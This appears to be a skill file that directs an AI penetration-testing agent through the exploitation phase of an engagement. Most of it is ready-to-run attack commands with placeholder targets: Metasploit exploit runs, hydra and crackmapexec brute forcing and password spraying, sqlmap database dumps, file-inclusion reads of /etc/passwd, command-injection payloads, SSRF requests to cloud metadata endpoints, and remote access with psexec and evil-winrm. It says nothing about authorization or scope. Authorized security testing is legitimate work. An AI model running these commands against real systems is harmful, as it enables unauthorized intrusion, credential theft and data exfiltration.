exploitation-phase

name	exploitation-phase
tags	["exploitation"]
description	Exploitation phase — exploit confirmed vulns, credential attacks, gain access. Use when the current phase is EXPLOITATION.

Exploitation Checklist

Prioritize: known public exploits > default creds > brute force > manual exploitation.

PROVE impact — the win condition

A vuln is not "confirmed" until you reproduce concrete impact: id/whoami (RCE), a dumped canary row/secret (SQLi), file bytes like /etc/passwd (LFI/XXE), cloud creds (SSRF), cross-user data (IDOR), or the required marker. Mark add_vuln suspected on detection, confirmed only WITH that evidence artifact. Detection output ("tool says vulnerable") is a lead, not proof.

Exploit Search & Preparation

searchsploit <service> <version>
searchsploit -m <exploit_id>                # mirror exploit locally
msfconsole -q -x "search type:exploit <service>"

Known CVE Exploitation

# Metasploit
msfconsole -q -x "use <exploit_path>; set RHOSTS <target>; set LHOST <attacker_ip>; run"

# Manual PoC
# Download, review, adapt PoC from searchsploit or GitHub
python3 exploit.py <target> <port>

Credential Attacks

# SSH brute force
hydra -l <user> -P /usr/share/wordlists/rockyou.txt ssh://<target> -t 4

# Web login brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

# SMB credential testing
crackmapexec smb <target> -u users.txt -p passwords.txt

# RDP brute force
hydra -l <user> -P wordlist.txt rdp://<target>

# Credential spraying (one password, many users)
crackmapexec smb <target> -u users.txt -p 'Password1!'

Web Exploitation

# SQL injection exploitation
sqlmap -u "http://<target>/vuln?id=1" --batch --dbs
sqlmap -u "http://<target>/vuln?id=1" --batch -D <db> --tables
sqlmap -u "http://<target>/vuln?id=1" --batch -D <db> -T <table> --dump

# File inclusion
curl "http://<target>/page?file=../../../etc/passwd"
curl "http://<target>/page?file=php://filter/convert.base64-encode/resource=config.php"

# Command injection
curl "http://<target>/ping?host=;id"
curl "http://<target>/ping?host=$(whoami)"

# SSRF
curl "http://<target>/fetch?url=http://169.254.169.254/latest/meta-data/"

Post-Authentication Access

# SSH with found credentials
ssh <user>@<target>
sshpass -p '<password>' ssh <user>@<target>

# WinRM
evil-winrm -i <target> -u <user> -p '<password>'

# SMB/PsExec
impacket-psexec <domain>/<user>:'<password>'@<target>
impacket-wmiexec <domain>/<user>:'<password>'@<target>

Evidence Collection

For every successful exploit:

1. Screenshot or copy command + output
2. Record: target, port, CVE/technique, access level gained
3. Update engagement state with access entry

Phase Completion Criteria

Move to POST_EXPLOIT when:

• All confirmed vulns attempted
• Access gained where possible
• Credentials tested across services
• Access levels documented

Output Rules

• Always use quiet/filtered output flags. Only show successful results.
• Redirect large output to files. Never paste >50 lines of raw tool output.
• Use parser tools (cme_parse, sqlmap_parse, nuclei_parse) for auto-processing.